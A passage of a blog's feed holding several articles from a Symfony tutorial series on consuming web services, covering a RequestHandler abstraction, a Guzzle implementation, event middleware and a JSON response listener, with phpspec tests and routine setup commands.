        $this-&gt;app = new Application($kernel);
        $this-&gt;app-&gt;setAutoExit(false);
        $this-&gt;output = new NullOutput();
    }

    public function testItRunsSuccessfully()
    {
        $input = new ArrayInput(array(
            'commandName' =&gt; 'app:profile:create',
            'name' =&gt; 'Igor',
        ));

        $exitCode = $this-&gt;app-&gt;run($input, $this-&gt;output);

        $this-&gt;assertSame(0, $exitCode);
    }
}
</code></pre>

<p>Let's make this test pass:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Command/CreateProfileCommand.php

namespace AppBundle\Command;

use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class CreateProfileCommand extends ContainerAwareCommand
{
    protected function configure()
    {
        $this-&gt;setName('app:profile:create');
        $this-&gt;setDescription('Create a new profile');

        $this-&gt;addArgument('name', InputArgument::REQUIRED);
    }

    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $profileGateway = $this-&gt;getContainer()-&gt;get('app.profile_gateway');

        $profile = $profileGateway-&gt;create($input-&gt;getArgument('name'));

        $output-&gt;writeln(sprintf('Profile #%s "%s" created', $profile['id'], $profile['name']));
    }
}
</code></pre>

<p>We'll need to define <code>ProfileGateway</code> as a service:</p>

<pre><code># File: app/config/services.yml
imports:
    - { resource: services/request_handler.yml }

services:
    app.profile_gateway:
        class: AppBundle\Profile\ProfileGateway
        arguments:
            - "@app.request_handler"
            - "%ws_url%"
            - "%ws_username%"
            - "%ws_password%"
</code></pre>

<p>By having a look <code>ProfileGateway</code> we can spot a mistake, the initialization or URL
is missing from the constructor:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Profile/ProfileGateway.php

    public function __construct(RequestHandler $requestHandler, $url, $username, $password)
    {
        $this-&gt;requestHandler = $requestHandler;
        $this-&gt;username = $username;
        $this-&gt;password = $password;
        $this-&gt;url = $url;
    }
</code></pre>

<p>Another mistake lies in <code>JsonResponseListener</code>, each Guzzle header is an array:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/RequestHandler/Listener/JsonResponseListener.php

        $contentType = $response-&gt;getHeader('Content-Type');
        if (false === strpos($contentType[0], 'application/json')) {
            return;
        }
</code></pre>

<p>With these fixes, the test should pass:</p>

<pre><code>phpunit -c app
</code></pre>

<blockquote>
  <p><strong>Note</strong>: if we get a <code>You have requested a non-existent service "app.profile_gateway"</code>
  error, we might need to clear the cache for test environment: <code>php app/console cache:clear --env=test</code>.</p>
  
  <p><strong>Note</strong>: if we get a Guzzle exception, we need to check that the previous application installed
  ("ws.local"), and that its database is created:</p>

<pre><code>cd ../ws
php app/console doctrine:database:create
php app/console doctrine:schema:create
cd ../cs
</code></pre>
</blockquote>

<p>We can now save our work:</p>

<pre><code>git add -A
git commit -m 'Created CreateProfileCommand'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We have now an application that consumes a web service. We have decoupled it from
third party libraries using RequestHandler and isolated the endpoint logic in a
Gateway class.</p>

<p>There's a lot to say about the test we wrote: it makes a network call which is slow, unreliable
and it isn't immutable. If we try to run again our test, it will fail!
To fix this we have many possibilities:</p>

<ul>
<li>mock the endpoints, it will make the tests faster and immutable but if the endpoints change our tests will still pass</li>
<li>cleanup the created profile by aking another network call, it will make the test even slower</li>
</ul>

<p>At this point it depends on how confident we are in the web services and what we want to test.</p>

<p>We should also write more test on edge cases: what happens with the wrong credentials?
What happens if the endpoints cannot be reached (request timeout, connection timeout, etc)?
What happens when we try to create a profile which already exists?</p>

<p>As it happens, this is also the conclusion of this series on managing Web Services in a
Symfony environment. There's a lot more to say for example about caching remote resources
in a local database, about self discovering APIs and about micro services, but I feel
those should each have their own series of article :) .</p>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony / Web Services - part 3.2: Consuming, Guzzle]]></title>
            <link href="/2015/03/18/sf-ws-part-3-2-consuming-guzzle.html"/>
            <updated>2015-03-18T00:00:00+00:00</updated>
            <id>/2015/03/18/sf-ws-part-3-2-consuming-guzzle.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the sixth article of the series on managing Web Services in a
<a href="https://symfony.com">Symfony</a> environment. Have a look at the five first ones:</p>

<ul>
<li><a href="/2015/01/14/sf-ws-part-1-introduction.html">1. Introduction</a></li>
<li><a href="/2015/01/21/sf-ws-part-2-1-creation-bootstrap.html">2.1 Creation bootstrap</a></li>
<li><a href="/2015/01/28/sf-ws-part-2-2-creation-pragmatic.html">2.2 Creation, the pragmatic way</a></li>
<li><a href="/2015/03/04/sf-ws-part-2-3-creation-refactoring.html">2.3 Creation, refactoring</a></li>
<li><a href="/2015/03/11/sf-ws-part-3-1-consuming-request-handler.html">3.1 Consuming, RequestHandler</a></li>
</ul>

<p>You can check the code in the <a href="https://github.com/gnugat-examples/sf-cs">following repository</a>.</p>

<p>In the previous article, we've bootstrapped an application with a RequestHandler,
allowing us to be decoupled from the third part library we'll choose to request
remote endpoints.</p>

<p>In this article, we'll create a Guzzle 5 implementation.</p>

<h2 id="guzzle-request-handler">Guzzle Request Handler</h2>

<p>As usual, we first describe the class we want to create:</p>

<pre><code>./bin/phpspec describe 'AppBundle\RequestHandler\Middleware\GuzzleRequestHandler'
</code></pre>

<p>Our Guzzle implementation will translate our <code>Request</code> into a guzzle one, and a
guzzle response into our <code>Response</code>:</p>

<pre><code class="php">&lt;?php
// spec/AppBundle/RequestHandler/Middleware/GuzzleRequestHandlerSpec.php

namespace spec\AppBundle\RequestHandler\Middleware;

use AppBundle\RequestHandler\Request;
use GuzzleHttp\ClientInterface;
use GuzzleHttp\Message\RequestInterface;
use GuzzleHttp\Message\ResponseInterface;
use GuzzleHttp\Stream\StreamInterface;
use PhpSpec\ObjectBehavior;

class GuzzleRequestHandlerSpec extends ObjectBehavior
{
    const VERB = 'POST';
    const URI = '/api/v1/profiles';

    const HEADER_NAME = 'Content-Type';
    const HEADER_VALUE = 'application/json';

    const BODY = '{"username":"King Arthur"}';

    function let(ClientInterface $client)
    {
        $this-&gt;beConstructedWith($client);
    }

    function it_is_a_request_handler()
    {
        $this-&gt;shouldImplement('AppBundle\RequestHandler\RequestHandler');
    }

    function it_uses_guzzle_to_do_the_actual_request(
        ClientInterface $client,
        RequestInterface $guzzleRequest,
        ResponseInterface $guzzleResponse,
        StreamInterface $stream
    )
    {
        $request = new Request(self::VERB, self::URI);
        $request-&gt;setHeader(self::HEADER_NAME, self::HEADER_VALUE);
        $request-&gt;setBody(self::BODY);

        $client-&gt;createRequest(self::VERB, self::URI, array(
            'headers' =&gt; array(self::HEADER_NAME =&gt; self::HEADER_VALUE),
            'body' =&gt; self::BODY,
        ))-&gt;willReturn($guzzleRequest);
        $client-&gt;send($guzzleRequest)-&gt;willReturn($guzzleResponse);
        $guzzleResponse-&gt;getStatusCode()-&gt;willReturn(201);
        $guzzleResponse-&gt;getHeaders()-&gt;willReturn(array('Content-Type' =&gt; 'application/json'));
        $guzzleResponse-&gt;getBody()-&gt;willReturn($stream);
        $stream-&gt;__toString()-&gt;willReturn('{"id":42,"username":"King Arthur"}');

        $this-&gt;handle($request)-&gt;shouldHaveType('AppBundle\RequestHandler\Response');
    }
}
</code></pre>

<p>Time to boostrap this implementation:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>And to actually write it:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/RequestHandler/Middleware/GuzzleRequestHandler.php

namespace AppBundle\RequestHandler\Middleware;

use AppBundle\RequestHandler\Request;
use AppBundle\RequestHandler\RequestHandler;
use AppBundle\RequestHandler\Response;
use GuzzleHttp\ClientInterface;
use GuzzleHttp\Message\RequestInterface;
use GuzzleHttp\Message\ResponseInterface;
use GuzzleHttp\Stream\StreamInterface;

class GuzzleRequestHandler implements RequestHandler
{
    private $client;

    public function __construct(ClientInterface $client)
    {
        $this-&gt;client = $client;
    }

    public function handle(Request $request)
    {
        $guzzleRequest = $this-&gt;client-&gt;createRequest($request-&gt;getVerb(), $request-&gt;getUri(), array(
            'headers' =&gt; $request-&gt;getHeaders(),
            'body' =&gt; $request-&gt;getBody(),
        ));
        $guzzleResponse = $this-&gt;client-&gt;send($guzzleRequest);
        $response = new Response($guzzleResponse-&gt;getStatusCode());
        $response-&gt;setHeaders($guzzleResponse-&gt;getHeaders());
        $response-&gt;setBody($guzzleResponse-&gt;getBody()-&gt;__toString());

        return $response;
    }
}
</code></pre>

<p>Let's check it:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>Brilliant!</p>

<pre><code>git add -A
git commit -m 'Created GuzzleRequestHandler'
</code></pre>

<h2 id="event-middleware">Event Middleware</h2>

<p>In the future we'd like to be able to hook in the <code>RequestHandler</code>'s workflow,
for example if the Response's body is in JSON, convert it into an array.</p>

<p>This kind of thing can be done by sending events, in our case when a Response is received:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/RequestHandler/ReceivedResponse.php

namespace AppBundle\RequestHandler\Event;

use AppBundle\RequestHandler\Response;
use Symfony\Component\EventDispatcher\Event;

class ReceivedResponse extends Event
{
    private $response;

    public function __construct(Response $response)
    {
        $this-&gt;response = $response;
    }

    public function getResponse()
    {
        return $this-&gt;response;
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: This is a simple Data Transfer Object (DTO), it doesn't contain any
  logic and never will. This means that we don't have to write any tests for it.</p>
</blockquote>

<p>We could add an <code>EventDispatcher</code> in <code>GuzzleRequestHandler</code>, or we could create
a middleware: a RequestHandler that dispatches events and then calls another RequestHandler
(e.g. <code>GuzzleRequestHandler</code>):</p>

<pre><code>./bin/phpspec describe 'AppBundle\RequestHandler\Middleware\EventRequestHandler'
</code></pre>

<p>This way if we want to throw away <code>GuzzleRequestHandler</code> and replace it with something
else, we don't have to write again the dispatching code. Here's the specification:</p>

<pre><code class="php">&lt;?php
// File: spec/AppBundle/RequestHandler/Middleware/EventRequestHandlerSpec.php

namespace spec\AppBundle\RequestHandler\Middleware;

use AppBundle\RequestHandler\Request;
use AppBundle\RequestHandler\RequestHandler;
use AppBundle\RequestHandler\Response;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;
use Symfony\Component\EventDispatcher\EventDispatcherInterface;

class EventRequestHandlerSpec extends ObjectBehavior
{
    function let(EventDispatcherInterface $eventDispatcher, RequestHandler $requestHandler)
    {
        $this-&gt;beConstructedWith($eventDispatcher, $requestHandler);
    }

    function it_is_a_request_handler()
    {
        $this-&gt;shouldImplement('AppBundle\RequestHandler\RequestHandler');
    }

    function it_dispatches_events(
        EventDispatcherInterface $eventDispatcher,
        Request $request,
        RequestHandler $requestHandler,
        Response $response
    )
    {
        $requestHandler-&gt;handle($request)-&gt;willReturn($response);
        $receivedResponse = Argument::type('AppBundle\RequestHandler\Event\ReceivedResponse');
        $eventDispatcher-&gt;dispatch('request_handler.received_response', $receivedResponse)-&gt;shouldBeCalled();

        $this-&gt;handle($request)-&gt;shouldBe($response);
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: We could improve this middleware by dispatching an event before giving
  the request to the RequestHandler. We could also catch exceptions coming from
  the RequestHandler and dispatch an event.</p>
</blockquote>

<p>Time to bootstrap the code:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>And to make the test pass:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/RequestHandler/Middleware/EventRequestHandler.php

namespace AppBundle\RequestHandler\Middleware;

use AppBundle\RequestHandler\Event\ReceivedResponse;
use AppBundle\RequestHandler\Request;
use AppBundle\RequestHandler\RequestHandler;
use Symfony\Component\EventDispatcher\EventDispatcherInterface;

class EventRequestHandler implements RequestHandler
{
    private $eventDispatcher;
    private $requestHandler;

    public function __construct(EventDispatcherInterface $eventDispatcher, RequestHandler $requestHandler)
    {
        $this-&gt;eventDispatcher = $eventDispatcher;
        $this-&gt;requestHandler = $requestHandler;
    }

    public function handle(Request $request)
    {
        $response = $this-&gt;requestHandler-&gt;handle($request);
        $this-&gt;eventDispatcher-&gt;dispatch('request_handler.received_response', new ReceivedResponse($response));

        return $response;
    }
}
</code></pre>

<p>Did we succeed?</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>Yes, we did:</p>

<pre><code>git add -A
git commit -m 'Created EventRequestHandler'
</code></pre>

<h2 id="json-response-listener">Json Response Listener</h2>

<p>When a Response contains a JSON body, we need to:</p>

<ul>
<li>check the content type</li>
<li>decode the body</li>
<li>check that the JSON syntax is valid</li>
</ul>

<p>With this in mind, we can describe the listerner:</p>

<pre><code>./bin/phpspec describe 'AppBundle\RequestHandler\Listener\JsonResponseListener'
</code></pre>

<p>Now we can write the specification:</p>

<pre><code class="php">&lt;?php
// src: spec/AppBundle/RequestHandler/Listener/JsonResponseListenerSpec.php

namespace spec\AppBundle\RequestHandler\Listener;

use AppBundle\RequestHandler\Event\ReceivedResponse;
use AppBundle\RequestHandler\Response;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class JsonResponseListenerSpec extends ObjectBehavior
{
    function it_handles_json_response(ReceivedResponse $receivedResponse, Response $response)
    {
        $receivedResponse-&gt;getResponse()-&gt;willReturn($response);
        $response-&gt;getHeader('Content-Type')-&gt;willReturn('application/json');
        $response-&gt;getBody()-&gt;willReturn('{"data":[]}');
        $response-&gt;setBody(array('data' =&gt; array()))-&gt;shouldBeCalled();

        $this-&gt;onReceivedResponse($receivedResponse);
    }

    function it_does_not_handle_non_json_response(ReceivedResponse $receivedResponse, Response $response)
    {
        $receivedResponse-&gt;getResponse()-&gt;willReturn($response);
        $response-&gt;getHeader('Content-Type')-&gt;willReturn('text/html');
        $response-&gt;getBody()-&gt;shouldNotBeCalled();

        $this-&gt;onReceivedResponse($receivedResponse);
    }

    function it_fails_to_handle_invalid_json(ReceivedResponse $receivedResponse, Response $response)
    {
        $receivedResponse-&gt;getResponse()-&gt;willReturn($response);
        $response-&gt;getHeader('Content-Type')-&gt;willReturn('application/json');
        $response-&gt;getBody()-&gt;willReturn('{"data":[');

        $exception = 'Exception';
        $this-&gt;shouldThrow($exception)-&gt;duringOnReceivedResponse($receivedResponse);
    }
}
</code></pre>

<p>Time to implement the code:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/RequestHandler/Listener/JsonResponseListener.php

namespace AppBundle\RequestHandler\Listener;

use AppBundle\RequestHandler\Event\ReceivedResponse;
use Exception;

class JsonResponseListener
{
    public function onReceivedResponse(ReceivedResponse $receivedResponse)
    {
        $response = $receivedResponse-&gt;getResponse();
        $contentType = $response-&gt;getHeader('Content-Type');
        if (false === strpos($response-&gt;getHeader('Content-Type'), 'application/json')) {
            return;
        }
        $body = $response-&gt;getBody();
        $json = json_decode($body, true);
        if (json_last_error()) {
            throw new Exception("Invalid JSON: $body");
        }
        $response-&gt;setBody($json);
    }
}
</code></pre>

<p>Is it enough to make the tests pass?</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>Yes, we can commit:</p>

<pre><code>git add -A
git commit -m 'Created JsonResponseListener'
</code></pre>

<h2 id="creating-services">Creating services</h2>

<p>In order to be able to use this code in our Symfony application, we need to
define those classes as services. Since we'll have a lot of definitions, we'll
create a <code>services</code> directory:</p>

<pre><code>mkdir app/config/services
</code></pre>

<p>We'll update <code>services.yml</code> to include our new file:</p>

<pre><code># File: app/config/services.yml
imports:
    - { resource: services/request_handler.yml }
</code></pre>

<p>And finally we'll create the <code>request_handler.yml</code> file:</p>

<pre><code>touch app/config/services/request_handler.yml
</code></pre>

<p>The first service we'll define is Guzzle:</p>

<pre><code>#file: app/config/services/request_handler.yml
services:
    guzzle.client:
        class: GuzzleHttp\Client
</code></pre>

<p>This allows us to define the GuzzleRequestHandler:</p>

<pre><code>#file: app/config/services/request_handler.yml

    app.guzzle_request_handler:
        class: AppBundle\RequestHandler\Middleware\GuzzleRequestHandler
        arguments:
            - "@guzzle.client"
</code></pre>

<p>We want to wrap each of these GuzzleRequestHandler calls with events, so we define
EventRequestHandler like this:</p>

<pre><code>#file: app/config/services/request_handler.yml

    app.event_request_handler:
        class: AppBundle\RequestHandler\Middleware\EventRequestHandler
        arguments:
            - "@event_dispatcher"
            - "@app.guzzle_request_handler"
</code></pre>

<p>In the future we might add more middlewares (e.g. RetryRequestHandler, StopwatchRequestHandler, etc),
so we want to avoid using a service that points directly to an implementation. We
can define an alias:</p>

<pre><code>#file: app/config/services/request_handler.yml

    app.request_handler:
        alias: app.event_request_handler
</code></pre>

<p>Finally, we want to define our listener:</p>

<pre><code>#file: app/config/services/request_handler.yml

    app.request_handler.json_response_listener:
        class: AppBundle\RequestHandler\Listener\JsonResponseListener
        tags:
            - { name: kernel.event_listener, event: request_handler.received_response, method: onReceivedResponse }
</code></pre>

<p>And that's it!</p>

<pre><code>git add -A
git commit -m 'Defined RequestHandler as a service'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We can now send remote request using Guzzle, without coupling ourself to the library.
We even implemented an EventRequestHandler to allow extension points, it also provides
us an example on how to write more RequestHandler middlewares.</p>

<p>In the next article we'll start using RequestHandler in a specific kind of service:
Gateways.</p>

<h3 id="http-adapter">HTTP Adapter</h3>

<p>You might be interested in <a href="https://github.com/egeloen/ivory-http-adapter">Ivory HttpAdapter</a>,
a library very similar to our RequestHandler: it sends remote request through a
given client (it supports many of them). It also provides events to hook into its workflow!</p>

<p>Personnaly, I'd rather create my own RequestHandler, as my purpose is to decouple
the application from an external library like Guzzle: using a third party library
to do so seems a bit ironic.
As you can see there's little effort involved, and it has the advantage of providing
the strict minimum the application needs.</p>

<h3 id="psr-7">PSR-7</h3>

<p><a href="https://github.com/php-fig/fig-standards/blob/master/proposed/http-message.md">PSR-7</a>
is a standard currently under review: it defines how frameworks should ideally
implement the HTTP protocole.</p>

<p>Since it's not yet accepted, it is subject to change so I wouldn't recommend to follow it yet.
Our RequestHandler kind of implement the HTTP protocole, but I'd rather not make
it PSR-7 compliant, as it requires the implementation of many features we don't
really need.</p>

<p>To get a balanced opinion on the matter, I'd recommend you to read:</p>

<ul>
<li><a href="https://mwop.net/blog/2015-01-26-psr-7-by-example.html">PSR-7 By Example</a></li>
<li><a href="http://evertpot.com/psr-7-issues/">PSR-7 is imminent, and here's my issues with it.</a></li>
</ul>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony / Web Services - part 3.1: Consuming, RequestHandler]]></title>
            <link href="/2015/03/11/sf-ws-part-3-1-consuming-request-handler.html"/>
            <updated>2015-03-11T00:00:00+00:00</updated>
            <id>/2015/03/11/sf-ws-part-3-1-consuming-request-handler.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the fifth article of the series on managing Web Services in a
<a href="https://symfony.com">Symfony</a> environment. Have a look at the four first ones:</p>

<ul>
<li><a href="/2015/01/14/sf-ws-part-1-introduction.html">1. Introduction</a></li>
<li><a href="/2015/01/21/sf-ws-part-2-1-creation-bootstrap.html">2.1 Creation bootstrap</a></li>
<li><a href="/2015/01/28/sf-ws-part-2-2-creation-pragmatic.html">2.2 Creation, the pragmatic way</a></li>
<li><a href="/2015/03/04/sf-ws-part-2-3-creation-refactoring.html">2.3 Creation, refactoring</a></li>
</ul>

<p>Our purpose in this third section is to create an application that consumes the
<a href="https://github.com/gnugat-examples/sf-ws">previously created web services</a>.</p>

<p>But for now, we'll just bootstrap it, and start to create a RequestHandler!</p>

<h2 id="installation">Installation</h2>

<p>We will follow the exact same steps as in <a href="/2015/01/21/sf-ws-part-2-1-creation-bootstrap.html">the chapter 2.1</a>:</p>

<ol>
<li>Installing the standard edition</li>
<li>Twitching for tests</li>
</ol>

<p>Instead of calling our application <code>ws</code>, we'll call it <code>cs</code> (like Consuming Service).</p>

<h2 id="making-remote-calls-with-guzzle">Making remote calls with Guzzle</h2>

<p>Is the application boostrapped yet? If it is, then we can continue.</p>

<p>In order to consume web services, we need to be able to make remote requests. PHP
provides some native functions for this (<code>file_get_contents</code>, <code>stream_socket_client</code>,
<code>fopen</code>, etc) and we can find many libraries as well (<a href="https://github.com/kriswallsmith/Buzz">Buzz</a>,
<a href="http://phphttpclient.com/">HTTP Full</a>, <a href="http://reactphp.org/">React</a>, etc).</p>

<p>For this series, we'll use <a href="http://guzzle.readthedocs.org/en/latest/">Guzzle</a>:</p>

<pre><code>composer require guzzlehttp/guzzle:~5.0
</code></pre>

<p>Let's commit it for now:</p>

<pre><code>git add -A
git commit -m 'Installed Guzzle'
</code></pre>

<h2 id="creating-a-request-handler">Creating a Request Handler</h2>

<p>Sometimes we need to decouple our application from the third party libraries it depends on.</p>

<p>For example let's say that we were using Guzzle 4, but we'd like to use Amazon Web Service (AWS)
S3 in our project. The issue? It's version 2 depends on Guzzle 3 and its version 3
depends on Guzzle 5. We now need to upgrade our usage of Guzzle everywhere in our
application.</p>

<p><a href="http://knowyourmeme.com/photos/141710-true-story"><img src="http://i0.kym-cdn.com/photos/images/newsfeed/000/141/710/7nTnr.png?1309357850" alt="True story" /></a></p>

<p>To minimize this, we can centralize the usage of Guzzle in one single file. In order
to be able to do so, we'll create a RequestHandler:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/RequestHandler/RequestHandler.php

namespace AppBundle\RequestHandler;

interface RequestHandler
{
    // @return Response
    public function handle(Request $request);
}
</code></pre>

<p>In our application we can rely on this interface: we own it and it has few chances to change.
We'll now create an object that describes the request to send:</p>

<pre><code>./bin/phpspec describe 'AppBundle\RequestHandler\Request'
</code></pre>

<p>A minimalistic raw HTTP request looks like the following:</p>

<pre><code>GET /api/v1/profiles HTTP/1.1
</code></pre>

<p>Since we don't really care about the protocol's version we can define the constructor
with two arguments:</p>

<pre><code class="php">// File: spec/AppBundle/RequestHandler/RequestSpec.php

    function it_has_a_verb_and_an_uri()
    {
        $this-&gt;beConstructedWith('GET', '/api/v1/profiles');

        $this-&gt;getVerb()-&gt;shouldBe('GET');
        $this-&gt;getUri()-&gt;shouldBe('/api/v1/profiles');
    }
</code></pre>

<p>Running the specifications will bootstrap the class for us:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>We can now make the test pass by writing the code:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/RequestHandler/Request.php

namespace AppBundle\RequestHandler;

class Request
{
    private $verb;
    private $uri;

    public function __construct($verb, $uri)
    {
        $this-&gt;verb = $verb;
        $this-&gt;uri = $uri;
    }

    public function getVerb()
    {
        return $this-&gt;verb;
    }

    public function getUri()
    {
        return $this-&gt;uri;
    }
}
</code></pre>

<p>Let's check if it's enough for now:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>All green, we can commit:</p>

<pre><code>git add -A
git commit -m 'Created Request'
</code></pre>

<h2 id="request-headers">Request headers</h2>

<p>A request usually has headers:</p>

<pre><code class="php">// File: spec/AppBundle/RequestHandler/RequestSpec.php

    function it_can_have_headers()
    {
        $this-&gt;beConstructedWith('GET', '/api/v1/profiles');
        $this-&gt;setHeader('Content-Type', 'application/json');

        $this-&gt;getHeaders()-&gt;shouldBe(array('Content-Type' =&gt; 'application/json'));
    }
</code></pre>

<p>Let's boostrap them:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>And complete the code:</p>

<pre><code class="php">// File: src/AppBundle/RequestHandler/Request.php

    private $headers = array();

    public function setHeader($name, $value)
    {
        $this-&gt;headers[$name] = $value;
    }

    public function getHeaders()
    {
        return $this-&gt;headers;
    }
</code></pre>

<p>This makes the test pass:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>That's worth a commit:</p>

<pre><code>git add -A
git commit -m 'Added headers to Request'
</code></pre>

<h2 id="request-body">Request body</h2>

<p>The last addition to our request will be the possibility to add a body:</p>

<pre><code class="php">// File: spec/AppBundle/RequestHandler/RequestSpec.php

    function it_can_have_a_body()
    {
        $this-&gt;beConstructedWith('GET', '/api/v1/profiles');
        $this-&gt;setBody('{"wound":"just a flesh one"}');

        $this-&gt;getBody()-&gt;shouldBe('{"wound":"just a flesh one"}');
    }
</code></pre>

<p>As usual we bootstrap it:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>And then we complete it:</p>

<pre><code class="php">// File: src/AppBundle/RequestHandler/Request.php

    private $body;

    public function setBody($body)
    {
        $this-&gt;body = $body;
    }

    public function getBody()
    {
        return $this-&gt;body;
    }
</code></pre>

<p>Let's make our console green:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>Let's make our console grin:</p>

<pre><code>git add -A
git commit -m 'Added body to Request'
</code></pre>

<h2 id="creating-a-response">Creating a Response</h2>

<p><code>RequestHandler</code> should return a <code>Response</code> object:</p>

<pre><code>./bin/phpspec describe 'AppBundle\RequestHandler\Response'
</code></pre>

<p>A minimalistic raw HTTP response looks like the following:</p>

<pre><code>HTTP/1.1 204 NO CONTENT
</code></pre>

<p>Since we don't care about both the protocol's version and the reason, we can
define the constructor with a single argument:</p>

<pre><code class="php">// File: spec/AppBundle/RequestHandler/ResponseSpec.php

    function it_has_a_status_code()
    {
        $this-&gt;beConstructedWith(204);

        $this-&gt;getStatusCode()-&gt;shouldBe(204);
    }
</code></pre>

<p>Running the specifications will bootstrap the class for us:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>We can now make the test pass by writing the code:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/RequestHandler/Response.php

namespace AppBundle\RequestHandler;

class Response
{
    private $statusCode;

    public function __construct($statusCode)
    {
        $this-&gt;statusCode = $statusCode;
    }

    public function getStatusCode()
    {
        return $this-&gt;statusCode;
    }
}
</code></pre>

<p>Let's check if it's enough for now:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>All green, we can commit:</p>

<pre><code>git add -A
git commit -m 'Created Response'
</code></pre>

<h2 id="response-headers">Response headers</h2>

<p>A response can also have headers:</p>

<pre><code class="php">// File: spec/AppBundle/RequestHandler/ResponseSpec.php

    function it_can_have_headers()
    {
        $this-&gt;beConstructedWith(204);
        $this-&gt;setHeaders(array('Content-Type' =&gt; 'application/json'));

        $this-&gt;getHeader('Content-Type')-&gt;shouldBe('application/json');
    }
</code></pre>

<p>Let's boostrap them:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>And complete the code:</p>

<pre><code class="php">// File: src/AppBundle/RequestHandler/Response.php

    private $headers = array();

    public function setHeaders(array $headers)
    {
        $this-&gt;headers = $headers;
    }

    public function getHeader($name)
    {
        return (isset($this-&gt;headers[$name]) ? $this-&gt;headers[$name] : null);
    }
</code></pre>

<p>This makes the test pass:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>That's worth a commit:</p>

<pre><code>git add -A
git commit -m 'Added headers to Response'
</code></pre>

<h2 id="response-body">Response body</h2>

<p>Last but not least, the response's body:</p>

<pre><code class="php">// File: spec/AppBundle/RequestHandler/ResponseSpec.php

    function it_can_have_a_body()
    {
        $this-&gt;beConstructedWith(200);
        $this-&gt;setBody('{"wound":"just a flesh one"}');

        $this-&gt;getBody()-&gt;shouldBe('{"wound":"just a flesh one"}');
    }
</code></pre>

<p>As usual we bootstrap it:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>And then we complete it:</p>

<pre><code class="php">// File: src/AppBundle/RequestHandler/Response.php

    private $body;

    public function setBody($body)
    {
        $this-&gt;body = $body;
    }

    public function getBody()
    {
        return $this-&gt;body;
    }
</code></pre>

<p>Let's make our console green:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>Let's make our console grin:</p>

<pre><code>git add -A
git commit -m 'Added body to Response'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>We've bootstrapped an application, and created a RequestHandler which will help us
to avoid coupling with Guzzle. In the <a href="/2015/03/18/sf-ws-part-3-2-consuming-guzzle.html">next article</a>,
we'll talk about middleware and start to create some RequestHandler
implementations (yes, more than one!).</p>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony / Web Services - part 2.3: Creation, refactoring]]></title>
            <link href="/2015/03/04/sf-ws-part-2-3-creation-refactoring.html"/>
            <updated>2015-03-04T00:00:00+00:00</updated>
            <id>/2015/03/04/sf-ws-part-2-3-creation-refactoring.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the fourth article of the series on managing Web Services in a
<a href="https://symfony.com">Symfony</a> environment. Have a look at the three first ones:</p>

<ul>
<li><a href="/2015/01/14/sf-ws-part-1-introduction.html">1. Introduction</a></li>
<li><a href="/2015/01/21/sf-ws-part-2-1-creation-bootstrap.html">2.1 Creation bootstrap</a></li>
<li><a href="/2015/01/28/sf-ws-part-2-2-creation-pragmatic.html">2.2 Creation, the pragmatic way</a></li>
</ul>

<p>You can check the code in the <a href="https://github.com/gnugat-examples/sf-ws">following repository</a>.</p>

<p>In the previous post we've created a first endpoint by taking a few shortcuts.
As we wouldn't want to get technical debt, we're going to refactor it.</p>

